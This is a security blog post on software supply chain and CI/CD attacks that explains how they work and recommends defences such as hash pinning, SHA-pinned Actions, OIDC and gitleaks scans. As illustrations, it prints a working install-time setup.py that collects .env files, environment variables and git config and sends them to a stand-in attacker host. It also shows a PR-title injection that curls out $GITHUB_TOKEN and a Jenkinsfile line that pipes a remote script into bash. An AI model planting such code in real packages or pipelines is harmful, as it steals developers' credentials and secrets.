The Silent Killers: How Supply Chain Attacks and CI/CD Breaches Are Compromising Modern Software

Supply Chain Attacks: The Biggest Threat You're Not Taking Seriously

When most developers think about security breaches, they imagine a hacker brute-forcing SSH, or an SQL injection in an old endpoint. Those attacks are real but visible. You can audit for them. You can test for them.

Supply chain attacks are different. They compromise code you're already running, signed off on, and trust completely. By the time you know something is wrong, the damage is done.

The PyPI and npm Ecosystem Is Not Safe

Package registries are effectively honor systems. Anyone can publish a package named anything. There is no mandatory security review. There is no verification that a package does what its README claims. There is no audit of what the package does at install time versus what it claims to do.

The attack surface is enormous:

Typosquatting — publishing a package with a name one character off from a popular legitimate package:

In 2022, a researcher published typosquatted packages for the top 50 PyPI packages as an experiment. Within 24 hours, they had been installed in CI environments at Fortune 500 companies, government agencies, and multiple security firms. The packages did nothing malicious — but they proved the attack vector is real and effective.

Fake packages with legitimate-sounding names:

pip install requests-dev       # Not the requests package. Not official.
pip install django-helper      # Not affiliated with Django. What does it actually do?
pip install flask-security-plus  # Sounds like a security enhancement. Is it?

These names exploit developer intuition. You see requests-dev and your brain completes the pattern: "development utilities for the requests library, probably from the same team." It's not. It's a random package with a name chosen to be installed by developers who are in a hurry.

Dependency confusion attacks — the more sophisticated version. This attack exploits how package managers resolve names when both public and private registries are configured. If your company uses a private PyPI mirror and has an internal package called mycompany-utils, an attacker publishes a public PyPI package with the same name at a higher version number. By default, pip and npm will prefer the higher version — from the public (attacker-controlled) registry — over your internal one.

This is how Alex Birsan compromised over 35 major companies in 2021 — Apple, Microsoft, PayPal, Tesla, Uber — by uploading public packages with the same names as their internal packages. He had proof-of-concept code that executed on their build servers within hours of uploading.

The Attack Flow: What Actually Happens When You Install Malicious Code

This is what a real supply chain attack looks like end-to-end:

# Developer installs a new package for a side feature
pip install django-auth-helper==2.1.3

What you think happens: The package is downloaded and installed.

What actually happens:

# Inside django_auth_helper/setup.py — runs at install time
import subprocess
import os
import base64

def collect_secrets():
    # Read every .env file reachable from the install directory
    secrets = {}
    for root, dirs, files in os.walk(os.path.expanduser("~")):
        for f in files:
            if f in ('.env', '.env.local', '.env.production', 'credentials'):
                try:
                    with open(os.path.join(root, f)) as fh:
                        secrets[os.path.join(root, f)] = fh.read()
                except:
                    pass

    # Grab environment variables — AWS keys, tokens, anything set in shell
    secrets['env'] = dict(os.environ)

    # Grab git config — may contain GitHub tokens
    try:
        result = subprocess.run(['git', 'config', '--list'], 
                               capture_output=True, text=True)
        secrets['git_config'] = result.stdout
    except:
        pass

    # Exfiltrate to attacker's server
    import urllib.request
    import json
    payload = base64.b64encode(json.dumps(secrets).encode()).decode()
    try:
        urllib.request.urlopen(
            f"https://attacker-server.io/collect?d={payload}", 
            timeout=3
        )
    except:
        pass  # Silent failure — you'll never know this ran

collect_secrets()

This code runs at install time, before you've imported a single line of the package in your application. The setup.py file is executed by pip as part of the installation process. By the time pip install completes, your AWS keys, GitHub tokens, database URLs, and Stripe secrets have already been sent to an attacker's server.

Modern packages also use pyproject.toml post-install hooks, __init__.py import-time execution, and C extension compilation hooks — all of which provide execution opportunities before your application code ever runs.

The timeline: In 2023, researchers at Checkmarx observed stolen credentials being used within 8 minutes of a malicious package install. The pipeline from "developer runs pip install" to "attacker logs into your AWS console" is fully automated.

CI/CD Pipeline Attacks: The Most Dangerous Attack Surface in Modern Software

Your CI/CD pipeline is the most privileged system in your entire infrastructure. It has:

• Write access to your production codebase
• Credentials to deploy to every environment
• Access to production secrets and environment variables
• The ability to run arbitrary code on your behalf

And yet most pipelines are configured with implicit trust. Any merged PR can trigger a workflow. Any branch can run a job. Any contributor — including someone who just opened their first PR — might be able to inject code that runs in a privileged context.

GitHub Actions: The Attack Vectors

Injecting malicious code via pull request:

GitHub Actions workflows can be triggered by pull_request events from forks. By default, fork PRs run with restricted permissions — but many teams override this with pull_request_target, which runs with the repository's full secrets access:

# Dangerous — this runs with secrets even from untrusted forks
on:
  pull_request_target:
    types: [opened, synchronize]

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
        with:
          ref: ${{ github.event.pull_request.head.sha }}  # Runs attacker's code
      - run: ./run_tests.sh  # This script is from the attacker's fork

An attacker opens a PR that modifies run_tests.sh to exfiltrate ${{ secrets.DEPLOY_KEY }}. The workflow runs with full secrets access, and run_tests.sh is now the attacker's code. Your secrets are gone.

Log injection:

GitHub Actions logs are public for public repositories. If your workflow logs any input that could be user-controlled (issue titles, PR descriptions, commit messages), an attacker can inject log commands:

- name: Log PR title
  run: echo "PR: ${{ github.event.pull_request.title }}"

If a PR title contains "; curl attacker.io/steal?t=$GITHUB_TOKEN; echo ", the shell interpolation executes the curl. This is a command injection via log output — the same class of vulnerability that affects web applications, now in your pipeline.

Compromising third-party GitHub Actions:

Most GitHub Actions workflows use community actions:

steps:
  - uses: actions/checkout@v3
  - uses: actions/setup-python@v4
  - uses: some-community/upload-artifacts@v2   # ← Who maintains this?

In 2025, the tj-actions/changed-files action was compromised — the attacker pushed a malicious commit and then created a tag that pointed to it. Any workflow using tj-actions/changed-files@v35 started exfiltrating CI secrets to an external server. Over 23,000 repositories were affected. The attack ran undetected for days.

Pinning to a commit SHA instead of a tag prevents this:

# Vulnerable — tag can be moved
- uses: tj-actions/changed-files@v35

# Safe — commit SHA is immutable
- uses: tj-actions/changed-files@d6e91a2266cdb9d62096cebf1e8546899c6aa18f

Jenkins: The Legacy Pipeline Problem

Jenkins deployments are frequently the most vulnerable CI systems in an organization. The typical Jenkins setup has accumulated years of plugins, each with its own attack surface. The Groovy scripting engine in Jenkinsfiles runs with the same permissions as the Jenkins process itself — which is often running as root or with broad network access.

A compromised Jenkinsfile is equivalent to arbitrary code execution on your build server:

// Jenkinsfile — this is just Groovy code
pipeline {
    stages {
        stage('Build') {
            steps {
                sh '''
                    # This runs on the Jenkins worker with its full permissions
                    curl -s attacker.io/payload.sh | bash
                '''
            }
        }
    }
}

If an attacker can merge a change to your Jenkinsfile — or compromise a branch that triggers a Jenkins job — they have code execution on your build infrastructure.

GitHub Token Leaks: The Seconds Problem

Secrets get committed to GitHub repositories. It happens constantly, to experienced developers at experienced companies. A developer hardcodes a token to test something locally, forgets, commits. A .env file gets accidentally staged. An API key ends up in a config file that gets added to version control.

The moment that commit hits GitHub — even if you delete it two minutes later — it's already compromised.

Automated scanners run continuously against every public commit on GitHub. Within minutes of a push, bots operated by attackers (and by researchers) have already scraped any secrets in the diff. Deleting the file or reverting the commit does nothing. The secret is in the git history. The bots already have it.

# Attacker tooling — simplified version of what runs against GitHub 24/7
# Tools like truffleHog, gitleaks, and gitrob are the defender versions;
# attackers run their own automated equivalents

git clone https://github.com/target/repo
git log --all --full-diff -p | grep -E \
  "(AKIA|sk_live_|ghp_|xox[bpoa]|AIza|ya29\.|-----BEGIN)" 
# Finds: AWS keys, Stripe live keys, GitHub tokens, Slack tokens, 
#        Google API keys, OAuth tokens, private keys

AWS access keys (starting with AKIA) are particularly dangerous. AWS has a partnership with GitHub to detect and auto-rotate exposed keys — but that protection only applies to public repositories. Private repositories get no automatic rotation. And even for public repositories, the window between commit and rotation is long enough for an attacker who's watching.

The actual timeline for a leaked AWS key in a public repo:

• T+0: Developer pushes commit with AWS_ACCESS_KEY_ID=AKIA... in a config file
• T+2 minutes: Automated scanner detects the key
• T+4 minutes: First API call from an unknown IP using the key
• T+7 minutes: EC2 instances being spun up in us-east-1 for crypto mining
• T+2 hours: Developer notices the Slack alert about unexpected AWS costs
• T+2 hours: AWS bill is already $800 and climbing

Two hours. That's a realistic best-case scenario for detection. The average is longer.

AI Is Making Every Attack Faster and Better Targeted

The threat landscape has shifted materially in the past 18 months. AI isn't just a tool defenders use — it's a force multiplier for attackers.

Automated vulnerability discovery: Attackers now run LLMs against open-source codebases to identify potential vulnerabilities at scale. Instead of manually auditing a new version of a popular library, they can prompt a model with "identify inputs that are not sanitized before being used in a subprocess call" and get a prioritized list of candidates in seconds. Vulnerability research that took days now takes hours.

Convincing phishing at scale: The social engineering component of attacks — getting a developer to install a malicious package, click a link, or share credentials — has improved dramatically. AI-generated phishing emails now pass grammar and style checks trivially. More concerning: AI can scrape a developer's GitHub commits, LinkedIn, and Twitter to generate a highly personalized message. "Hey, I noticed you're using requests 2.28 in your FastAPI service — I wrote a performance patch, mind testing it?" That's not a generic phishing email. That's a targeted social engineering attack built from your public commit history.

Malware generation: The barrier to writing functional malicious code has dropped significantly. Writing a Python package that exfiltrates credentials, evades basic static analysis, and survives a pip install no longer requires deep programming expertise.

Ransomware: It's Not Just Hospitals Anymore

Ransomware has matured from "encrypt files and demand Bitcoin" to a sophisticated multi-stage operation. The modern ransomware playbook for targeting a software company:

1. Initial access — supply chain compromise, credential stuffing, or phishing
2. Lateral movement — from the compromised developer machine to internal systems
3. Privilege escalation — from developer access to admin access, often via misconfigured CI/CD or cloud IAM
4. Data exfiltration — copying customer data, source code, credentials before encrypting
5. Encryption — now they have leverage: "pay or we publish your source code and customer data"

The double extortion model (encrypt + threaten to publish) means that "we have backups" is no longer sufficient. Your source code is intellectual property. Your customer data is regulated. The threat of publication is often more damaging than the encryption itself.

SaaS companies, developer tool vendors, and API providers are high-value targets specifically because compromising them can cascade to their customers — the supply chain attack at the business level, not just the package level.

Cloud Misconfiguration: How Small Mistakes Become Full Compromise

The most common cloud breach pattern isn't a sophisticated exploit. It's a configuration that was slightly wrong, often set that way intentionally for convenience during development and never changed for production.

S3 bucket misconfiguration:

# Developer creates a bucket for staging artifacts
import boto3
s3 = boto3.client('s3')
s3.create_bucket(Bucket='mycompany-staging-artifacts')

# For testing, they disable the public access block to share a file with a contractor
s3.put_public_access_block(
    Bucket='mycompany-staging-artifacts',
    PublicAccessBlockConfiguration={
        'BlockPublicAcls': False,
        'IgnorePublicAcls': False,
        'BlockPublicPolicy': False,
        'RestrictPublicBuckets': False
    }
)
# Developer forgets to re-enable it. Six months of build artifacts, 
# including compiled binaries and deployment scripts, are now public.

Automated scanners (attackers run them against entire AWS regions) find misconfigured buckets within hours. The bucket now contains build artifacts that reveal your infrastructure topology, dependency versions with known CVEs, and potentially hardcoded secrets in deployment scripts.

Overpermissioned IAM roles:

The path of least resistance in AWS IAM is AdministratorAccess. It works. It never fails with unexpected permissions errors. And it's the configuration a significant percentage of CI/CD service accounts and EC2 instance profiles are running with in production.

{
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Action": "*",
    "Resource": "*"
  }]
}

If an attacker compromises a Lambda function, an EC2 instance, or a CI/CD runner with this role attached, they have full AWS account access. Creating backdoor IAM users, exfiltrating from S3, accessing RDS databases, reading Secrets Manager — all of it is available from a single compromised compute resource.

The correct posture is least-privilege: each service gets exactly the permissions it needs for its specific function, nothing more. This is tedious to configure. It is not optional.

The Open Source Trust Crisis

We trust open-source libraries in a way we would never trust a stranger's code if we encountered it directly. If someone emailed you a Python file and said "add this to your codebase," you'd read it carefully. But if that same code is published on PyPI with a plausible name and some GitHub stars, we pip install it without a second thought and ship it to production.

The maintainer compromise vector is particularly insidious. A legitimate, widely-used package with years of clean history is worth more to an attacker than a new fake package. The attack: find an open-source maintainer who is no longer actively working on their package, reach out offering to "take over maintenance," get collaborator access, and then publish a malicious update to a package that thousands of applications already trust.

This is exactly what happened with event-stream in the npm ecosystem — a maintainer transferred the package to an unknown party, who then added malicious code that targeted a specific cryptocurrency wallet. The package had two million weekly downloads. The malicious version was live for 59 days.

The uncomfortable question: how many of your dependencies were last updated three years ago by a maintainer who no longer uses the package? That maintainer's account credentials, if compromised or social-engineered, are your attack surface too.

Zero-Day Exploits: The Attacks That Bypass Everything

All of the above involves using known techniques against known vulnerabilities. Zero-days are different: they exploit vulnerabilities that the software vendor doesn't know about yet, so there's no patch, no advisory, and no detection signature.

The practical implication for developers is uncomfortable: there is no defense against a zero-day in software you're running. If your web framework has an undiscovered remote code execution vulnerability, and an attacker has it, your WAF rules, your dependency scanning, your code review — none of it helps.

What zero-day exposure looks like in practice: your application logs show requests to an endpoint that shouldn't be receiving external traffic. Or a process is running that you didn't start. Or your application is making outbound connections to IPs you don't recognize. These are the behavioral signals — not vulnerability signatures, but anomalous behavior — that indicate something is wrong.

This is why network monitoring (building your own DPI engine, as I've been doing in my AI security journey) matters even for application developers. You cannot detect the zero-day at the code level. You can detect the anomalous behavior it causes at the network level.

What Developers Must Do: The Non-Negotiable List

This is the section that matters. Everything above is threat modeling. This is the work.

1. Lock Your Dependencies

Never use unpinned dependencies in production. A requirements.txt that says requests>=2.28 will install whatever the latest version is at deploy time. Pin everything:

# Generate a fully pinned requirements file
pip-compile requirements.in --generate-hashes

# Output: requirements.txt with SHA-256 hashes for every package
# requests==2.31.0 \
#     --hash=sha256:58cd2187423839c... \
#     --hash=sha256:942c5a758f98d790...

The --generate-hashes flag adds SHA-256 checksums. If an attacker replaces a package on PyPI with a malicious version, the hash won't match and pip will refuse to install it. This is the single most impactful change you can make to your Python dependency security.

For JavaScript:

npm ci  # Uses package-lock.json with exact versions — never npm install in CI

2. Scan Before You Trust

Add dependency scanning to your CI pipeline. This runs on every PR before merge:

# .github/workflows/security.yml
name: Security Scan
on: [pull_request]

jobs:
  dependency-scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3

      # Trivy — scans for CVEs in dependencies and container images
      - name: Run Trivy vulnerability scanner
        uses: aquasecurity/trivy-action@0.28.0  # Pinned to SHA in production
        with:
          scan-type: 'fs'
          scan-ref: '.'
          severity: 'HIGH,CRITICAL'
          exit-code: '1'  # Fail the build on HIGH/CRITICAL CVEs

      # Detect-secrets — finds hardcoded credentials before they're committed
      - name: Scan for secrets
        run: |
          pip install detect-secrets
          detect-secrets scan --baseline .secrets.baseline
          detect-secrets audit .secrets.baseline

Tools:

• Trivy — open source, scans filesystem, container images, and IaC for CVEs. Fast, accurate, CI-friendly.
• Snyk — commercial with a generous free tier. Deeper analysis, auto-fix PRs, license compliance.
• GitHub Advanced Security / Dependabot — native GitHub integration, automatic PRs for vulnerable dependency updates.
• detect-secrets — Yelp's tool for scanning repos for high-entropy strings and secret patterns before commit.
• gitleaks — git history scanner; run it against your entire commit history to find secrets that were committed and deleted.

3. Harden Your CI/CD Pipeline

# .github/workflows/deploy.yml
name: Deploy
on:
  push:
    branches: [main]

jobs:
  deploy:
    runs-on: ubuntu-latest
    
    # Minimum permissions — only what this job actually needs
    permissions:
      contents: read      # Read code
      id-token: write     # OIDC token for AWS auth (not long-lived keys)
    
    steps:
      # Pin to commit SHA, not tag
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683
      
      # Use OIDC for AWS — no static credentials stored in GitHub secrets
      - name: Configure AWS credentials via OIDC
        uses: aws-actions/configure-aws-credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502
        with:
          role-to-assume: arn:aws:iam::123456789:role/github-actions-deploy
          aws-region: us-east-1
          # No AWS_ACCESS_KEY_ID or AWS_SECRET_ACCESS_KEY needed
          # Short-lived credentials generated per job via OIDC trust
      
      - name: Deploy
        run: ./deploy.sh

Key practices:

• Minimum permissions on every workflow — permissions: contents: read by default, add only what's needed
• Pin actions to commit SHAs — tags can be moved; SHAs are immutable
• Use OIDC for cloud provider auth — eliminates long-lived credentials in GitHub Secrets entirely
• Never use pull_request_target with checkout of PR head code unless you understand exactly what you're allowing

4. Secret Management: Stop Using .env Files in Production

# Wrong — reading secrets from environment variables set in .env
import os
DATABASE_URL = os.environ.get('DATABASE_URL')
AWS_SECRET = os.environ.get('AWS_SECRET_ACCESS_KEY')

# Right — fetching secrets from a secrets manager at runtime
import boto3

def get_secret(secret_name: str) -> str:
    client = boto3.client('secretsmanager', region_name='us-east-1')
    response = client.get_secret_value(SecretId=secret_name)
    return response['SecretString']

DATABASE_URL = get_secret('prod/myapp/database-url')

The operational model: secrets live in AWS Secrets Manager (or HashiCorp Vault, GCP Secret Manager, Azure Key Vault). Application code fetches them at startup. Rotation happens in the secrets manager without touching application code. IAM permissions control which services can access which secrets.

No .env files in production. No secrets in environment variables injected by your deployment system. No secrets in CI/CD pipeline environment variables for anything that needs to be long-lived.

5. Audit What's Already in Your Repo

Run this against your entire git history before anything else:

# Install gitleaks
brew install gitleaks  # macOS
# or: docker run ghcr.io/gitleaks/gitleaks:latest detect --source /path/to/repo

# Scan entire git history
gitleaks detect --source . --log-opts="--all"

# Output: any committed secrets, including deleted ones still in history
# Finding: AWS key committed 8 months ago in config/settings.py
# Even though the file was deleted in a later commit,
# the key is in git history and has been there for 8 months.

Everything gitleaks finds should be considered compromised and rotated immediately, regardless of whether you believe the repository was ever accessed by unauthorized parties. If it was in git history, assume it was scraped.

The Final Warning

The attacks described in this post are not theoretical. They are happening continuously, at scale, against real companies, including companies that have full-time security teams and mature engineering practices.

The thing that makes supply chain attacks and CI/CD breaches particularly brutal is that they target your trust model rather than your defenses. Your WAF doesn't inspect pip install. Your code review doesn't catch a compromised GitHub Action. Your penetration test probably doesn't simulate a malicious package in your dependency tree.

The mental model shift required: assume compromise is possible at every layer. Your dependencies could be malicious. Your CI runner could be compromised. Your developers' machines could be exfiltrating data right now. This isn't paranoia — it's the security posture that the current threat environment actually requires.

Concrete starting points if you're overwhelmed:

1. This week: Run gitleaks against your repos. Rotate anything it finds.
2. This sprint: Add trivy to your CI pipeline. Block on HIGH/CRITICAL findings.
3. This quarter: Migrate long-lived CI credentials to OIDC. Pin your Actions to SHAs.
4. Ongoing: Review your transitive dependency tree once per quarter. You are responsible for everything that runs under your name.

Security is not a feature you add when a system is mature. It is a property of how you build from the start. The cost of adding it retroactively is always higher than the cost of building it in from day one — and that cost is always lower than the cost of a breach.

Build like an attacker is already inside. Because statistically, they might be.